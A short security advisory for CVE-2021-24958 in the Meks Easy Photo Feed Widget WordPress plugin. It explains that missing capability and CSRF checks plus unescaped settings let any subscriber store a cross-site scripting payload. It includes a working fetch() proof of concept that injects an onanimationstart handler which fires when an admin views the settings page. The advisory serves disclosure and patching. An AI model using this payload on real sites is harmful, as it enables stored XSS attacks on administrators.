Meks Easy Photo Feed Widget < 1.2.4 – Subscriber+ Settings Update to Stored XSS | CVE 2021-24958

Description

The plugin does not have capability and CSRF checks in the meks_save_business_selected_account AJAX action, available to any authenticated user, and does not escape some of the settings. As a result, any authenticated user, such as subscriber could update the plugin's settings and put Cross-Site Scripting payloads in them

Proof of Concept

As a subscriber:

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": new URLSearchParams({"action":"meks_save_business_selected_account","access_token": '" style=animation-name:rotation onanimationstart=alert(/XSS/) xyz='}),
  "method": "POST",
  "credentials": "include"
})
  .then(response => response.text())
  .then(data => console.log(data));


Then the XSS will be triggered when an admin access the plugin’s settings (https://example.com/wp-admin/options-general.php?page=meks-instagram)